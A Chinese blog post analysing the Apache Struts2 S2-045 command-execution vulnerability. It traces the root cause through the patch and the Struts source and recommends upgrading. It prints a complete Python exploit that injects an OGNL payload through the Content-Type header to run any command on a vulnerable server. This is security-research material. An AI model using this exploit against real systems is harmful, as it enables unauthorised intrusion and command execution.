0x01 前言

前几天刚分析完s2-032这个漏洞,今天又爆发了一个s2-045的漏洞,又是直接的命令执行,影响了struts2绝大多数的版本.

官方给的漏洞公告在这里   https://cwiki.apache.org/confluence/display/WW/S2-045

受影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

其实昨天就看到朋友圈有人在发这个漏洞,一看是s2-045,心想着struts2的问题可真多,编号都排到45了,就像道哥说的一样如果一个软件出现的漏洞较多,那么说明代码维护者的安全意识与安全经验有所欠缺,同时由于破窗效应,这个软件未来往往出现更多的漏洞,struts2确实让人不太省心,然后当时也给自己一个做j2ee开发的朋友说s2又爆出了一个漏洞,他还不在乎的说谁现在还用struts2啊,我们现在都用SpringMVC了,但是自己测试了几个大型的网站,还是受到了s2-045漏洞的影响,仔细想想的确现在开发j2ee struts2框架的很少了,但是一些网站的老系统之前都是用的s2框架,而这些可能又是和他们业务息息相关的,一时的完全替代成本太高,所以基本是就是“修修补补又三年”的状态。

0x02 poc分析

网上流传的poc传播的很快,代码如下:

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers def poc():
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
print response.read() poc()

之前测试s2-032的环境struts2的版本就是2.3.28,也是这次漏洞受影响的版本,所以是直接就可以拿来用。

wireshark抓个包看看。如下图所示:

从poc和wireshark中可以看到,恶意的payload是以http header中的Content-type为载体的,最终导致ognl表达式的命令执行的目的。这个poc的ognl表达式和之前的s2-032不同,还是颇有讲究的,对win和linux做了兼容性处理。

0x03 漏洞分析

过程回溯

通过patch对比发现

变化就在return的这行,从所在的类名和函数名buildErrorMessage可以看出应该是当对Mulitpart解析出错之后“建立”错误消息,那我们在这里加个断点试试看,加断点之后发现当代码执行完这行到这一步的时候,对应的我们的命令就执行了,如下图

据此可以判定这里就是问题所在的地方,那这个findtext又是什么来路?我们来看看这个函数的定义:

   public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args) {
ValueStack valueStack = ActionContext.getContext().getValueStack();
return findText(aClass, aTextName, locale, defaultMessage, args, valueStack); } /**
* Finds a localized text message for the given key, aTextName. Both the key and the message
* itself is evaluated as required. The following algorithm is used to find the requested
* message:
* <p/>
* <ol>
* <li>Look for message in aClass' class hierarchy.
* <ol>
* <li>Look for the message in a resource bundle for aClass</li>
* <li>If not found, look for the message in a resource bundle for any implemented interface</li>
* <li>If not found, traverse up the Class' hierarchy and repeat from the first sub-step</li>
* </ol></li>
* <li>If not found and aClass is a {@link ModelDriven} Action, then look for message in
* the model's class hierarchy (repeat sub-steps listed above).</li>
* <li>If not found, look for message in child property. This is determined by evaluating
* the message key as an OGNL expression. For example, if the key is
* <i>user.address.state</i>, then it will attempt to see if "user" can be resolved into an
* object. If so, repeat the entire process fromthe beginning with the object's class as
* aClass and "address.state" as the message key.</li>
* <li>If not found, look for the message in aClass' package hierarchy.</li>
* <li>If still not found, look for the message in the default resource bundles.</li>
* <li>Return defaultMessage</li>
* </ol>
* <p/>
* When looking for the message, if the key indexes a collection (e.g. user.phone[0]) and a
* message for that specific key cannot be found, the general form will also be looked up
* (i.e. user.phone[*]).
* <p/>
* If a message is found, it will also be interpolated. Anything within <code>${...}</code>
* will be treated as an OGNL expression and evaluated as such.
* <p/>
* If a message is <b>not</b> found a WARN log will be logged.
*
* @param aClass the class whose name to use as the start point for the search
* @param aTextName the key to find the text message for
* @param locale the locale the message should be for
* @param defaultMessage the message to be returned if no text message can be found in any
* resource bundle
* @param valueStack the value stack to use to evaluate expressions instead of the
* one in the ActionContext ThreadLocal
* @return the localized text, or null if none can be found and no defaultMessage is provided
*/

大致的意思是通过给定的key和aTextname找到本地化的text message,关键点在key这个参数会进行ognl表达式的执行。不断跟进代码,我们最终发现了ognl表达式和我们的payload是在LocalizedTextUtil类的getDefaultMessage()这个函数里面最终执行的。

可见漏洞产生的关键点是在处理 error message产生了问题,message拼接了用户的“输入”,而这个message参数会传递到transalteVariables()这个函数,这个函数的定义如下:

    /**
* Converted object from variable translation.
*
* @param open
* @param expression
* @param stack
* @param asType
* @param evaluator
* @return Converted object from variable translation.
*/
public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) { ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {
public Object evaluate(String parsedValue) {
Object o = stack.findValue(parsedValue, asType);
if (evaluator != null && o != null) {
o = evaluator.evaluate(o.toString());
}
return o;
}
};

expression是要被用作ognl表达式执行的,这个时候就boom,命令执行了。

0x04 小结

攻击者构造的header中的Content-Type会经过dispatcher.multipart包中Jakarta相关类的处理,但是解析出错,而且是未定义的错误,那么程序就将这个错误message“输出”出来,但在输出的时候还拼接了用户的输入,而且还被当做ognl表达式来执行(有些不太让人理解?为了更友好的展示错误输出信息?),这样就导致了命令执行。

0x05 防御

升级至最新版本

0x06 Reference

1.http://paper.seebug.org/241/?from=timeline&isappinstalled=0

S2-045漏洞初步分析的更多相关文章

  1. S2-052 RCE漏洞 初步分析

    PS:初步分析,只是分析了Struts2 REST插件的部分,本来菜的抠脚不敢发,但看到各大中心发的也没比我高到哪里去,索性发出来做个记事! 漏洞描述 2017年9月5日,Apache Struts发 ...

  2. CVE-2021-3129:Laravel远程代码漏洞复现分析

    摘要:本文主要为大家带来CVE-2021-3129漏洞复现分析,为大家在日常工作中提供帮助. 本文分享自华为云社区<CVE-2021-3129 分析>,作者:Xuuuu . CVE-202 ...

  3. Azure底层架构的初步分析

    之所以要写这样的一篇博文的目的是对于大多数搞IT的人来说,一般都会对这个topic很感兴趣,因为底层架构直接关乎到一个公有云平台的performance,其实最主要的原因是我们的客户对此也非常感兴趣, ...

  4. [web安全]Web应用漏洞攻击分析与防范

    网站攻击主要分为以下几类: (1) sql注入攻击 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.它是利 ...

  5. Google发布SSLv3漏洞简要分析报告

    今天上午,Google发布了一份关于SSLv3漏洞的简要分析报告.根据Google的说法,该漏洞贯穿于所有的SSLv3版本中,利用该漏洞,黑客可以通过中间人攻击等类似的方式(只要劫持到的数据加密两端均 ...

  6. 基于Spark和SparkSQL的NetFlow流量的初步分析——scala语言

    基于Spark和SparkSQL的NetFlow流量的初步分析--scala语言 标签: NetFlow Spark SparkSQL 本文主要是介绍如何使用Spark做一些简单的NetFlow数据的 ...

  7. 关于 target="_blank"漏洞的分析

    创建: 于 八月 30, 2016 关于 target="_blank"漏洞的分析  一.漏洞详情:首先攻击者能够将链接(指向攻击者自己控制的页面的,该被控页面的js脚本可以对母页 ...

  8. 美链BEC合约漏洞技术分析

    这两天币圈链圈被美链BEC智能合约的漏洞导致代币价值几乎归零的事件刷遍朋友圈.这篇文章就来分析下BEC智能合约的漏洞 漏洞攻击交易 我们先来还原下攻击交易,这个交易可以在这个链接查询到. 我截图给大家 ...

  9. Heartbleed心脏出血漏洞原理分析

    Heartbleed心脏出血漏洞原理分析 2017年01月14日 18:14:25 阅读数:2718 1. 概述    OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷.OpenSS ...

随机推荐

  1. Docker: Jenkins与Docker的自动化CI/CD流水线实战

    什么是CI/CD 持续集成(Continuous Integration,CI):代码合并.构建.部署.测试都在一起,不断地执行这个过程,并对结果反馈.持续部署(Continuous Deployme ...

  2. 野指针与'关键字'NULL

    野指针与'关键字'NULL 一.NULL是什么? 在C/C++中的标准定义: #ifdef __cplusplus //条件编译,判断是c++还是c环境 #define NULL 0 //c++环境 ...

  3. EF Core使用笔记(基于MySql数据库)

    一.什么是EF Entity Framework 是适用于.NET 的对象关系映射程序 (O/RM). 二.比较 EF Core 和 EF6 1.Entity Framework 6 Entity F ...

  4. QMainWindow class

    Help on class QMainWindow in module PyQt5.QtWidgets: class QMainWindow(QWidget)  |  QMainWindow(pare ...

  5. Charles(V3.10.1)的抓包以及常见功能的使用

    一.Charles的安装 安装都不会,那就不用再往下看了.(*^__^*) 嘻嘻…… 二.HTTP抓包 1.查看电脑IP地址 2.设置手机的HTTP代理 手机连接到同一WiFi下设置HTTP代理: 服 ...

  6. 软件工程作业 - word count

    (编程和软件工程作业系列) 实践最简单的项目:WC 实践是理论的基础和验证标准,希望读者贯彻“做中学”的思想,动手实现下面的项目,并和别人的成绩相比较,分析产生差距的原因. 1. 实现一个简单而完整的 ...

  7. quotes 整站数据爬取存mongo

    安装完成scrapy后爬取部分信息已经不能满足躁动的心了,那么试试http://quotes.toscrape.com/整站数据爬取 第一部分 项目创建 1.进入到存储项目的文件夹,执行指令 scra ...

  8. Windows elasticsearch1.5.1安装

    http.cors.enabled: true http.cors.allow-origin: /.*/ network.host: 192.168.2.200 http.port: cluster. ...

  9. java循环1

    public class f_w { public static void main(String []args) { int a=0; System.out.print("_info__w ...

  10. Base 64 & decodeURIComponent

    Base 64 & decodeURIComponent js btoa() & atob() let obj = [{"key":"q",&q ...